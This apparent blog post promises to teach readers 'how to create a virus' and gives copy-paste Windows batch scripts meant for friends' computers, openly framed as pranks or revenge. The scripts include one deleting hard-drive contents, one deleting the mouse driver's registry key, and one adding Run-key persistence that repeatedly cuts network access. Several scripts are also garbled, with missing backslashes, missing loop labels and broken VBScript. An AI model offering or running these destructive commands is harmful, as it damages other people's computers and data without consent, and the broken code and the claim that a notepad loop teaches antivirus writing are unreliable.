how to create a virus

6 min read

Today everyone wants to know how to create a virus. You can become a full-fledged one programmer and learn to create a simple virus for computers this post will provide you all the latest information and answers you are looking for.

How to make a virus:

Have you ever thought that you could create your own virus no matter if you are using it for fun as a prank or learn just how to make it? Creating virus takes time and pure knowledge but it is not impossible anyone can do it if a person could use its mind. For those of those who don’t know that creating a virus can help you teach so much about program language, how it works as well as many other things that include network security and operating system.

For starts, you can use some codes and put on your friend’s computer or laptop just to have fun for a temporary time. This is the best way either you want to become a programmer or just a person who happens to make his pals scream for losing in the game. But anyways this one looks just awesome of how to make a computer virus and enjoy their reactions.

What exactly is a virus?

For most of you who has no idea about I am not talking about a virus that comes in form of fever or another. A virus is a collection of codes that can help to destroy the system in seconds. It comes in computer virus as a malware program and executes to replicates more of them just by inserting the copies in a modified version. You can send it to the other computer data files, or boot sector from hard drive and when a replication is successful it will affect the area and get infected.

Now you don’t need to think too much about how to program a virus because you can make them on your own and organized the way you want it.

How a virus does works?

If you are suffering from the loss of your best friend being more genius than you and want to take revenge just because he did not give you the bunch of movies you asked for. Then you can mysteriously create a virus and send it to him. But before you do that it is very important that you learn in which forms how to make a real virus with most easy steps.

A computer virus is nothing but some handful of codes that you can write in the notepad and execute. They created using batch programming and just remember one thing never to try and test on your own personal computer. Otherwise, it will destroy your system completely.

Computer virus comes in form of,

  • Spyware

  • Trojan horse

  • Zombies

  • Malware

  • Computer Worms

There are many types of viruses you can make to destroy CD drives, Hard disk block, disable USB ports, and so much more.

Which are the 10 codes you can use of how to make a simple virus?

You simply do not need to trouble yourself by thinking how to upload a virus to a computer of your friend just to test it. There are many ways that required simple codes which you can write and direct copy paste and how much they are worth it. With these codes, you can take all your frustration on your friends or just play genius one to spread and clear it. In both ways, you will learn something new about coding so let’s begins guys,

1) Create a virus to delete a hard drive:

We got you covered from all of this, just open notepad and write these codes. Just copy paste and see the magic.

@Echo off

Del C:\ *.* |y

Save this file as virus.bat and run the file, it will delete all the content saved on the Hard drive.

2) Create a virus to disable a mouse:

We got you covered from all of this, just open notepad and write these codes. Just copy paste and see the magic.

rem ---------------------------------

rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

Save the file as disable mouse.bat and release it.

3) Create a virus to disable internet connection permanently:

We got you covered from all of this, just open notepad and write these codes. Just copy paste and see the magic.

echo @echo off>c:windowswimn32.bat

echo break off>>c:windowswimn32.bat

echo ipconfig/release_all>>c:windowswimn32.bat

echo end>>c:windowswimn32.bat

reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f

reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f

Echo You Have Been HACKED!


Save it as Disint.bat and release it.

4) Create a virus to that open notepad repeatedly:

We got you covered from all of this, just open notepad and write these codes. Just copy paste and see the magic. It will help to learn how to create antivirus software in notepad for good.

@ECHO off


START %System Root%\system32\notepad.exe

GOTO top

Just save the file as anything.bat and release it.

5) Create a virus that pops up on CD drive:

We got you covered from all of this, just open notepad and write these codes. Just copy paste and see the magic.

Set oWMP = CreateObject(”WMPlayer.OCX.7?)

Set colCDROMs = oWMP.cdromCollection


if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count – 1



For i = 0 to colCDROMs.Count – 1



End If

wscript.sleep 100


Save the file as popout.bat and run it.

6) Create a virus to make multiple folders:

This one looks absolutely fun to make your own virus all you need is just to follow the instruction and copy paste them into your notepad as it is.

@echo of


md folder1

md folder2

md folder3

md folder4

md folder5

start folder1

start folder2

start folder3

start folder4

start folder5

goto RON

Save the file as and release it.

This is how you can create your own virus, if you guys have any query related to this, drop it in the comment box, we’ll get back to you ASAP. 🙂

Written by

Sohail Afzal

web solution provider

Leave a Reply

Your email address will not be published. Required fields are marked *

This blog is kept spam free by WP-SpamFree.

Pin It on Pinterest

Share This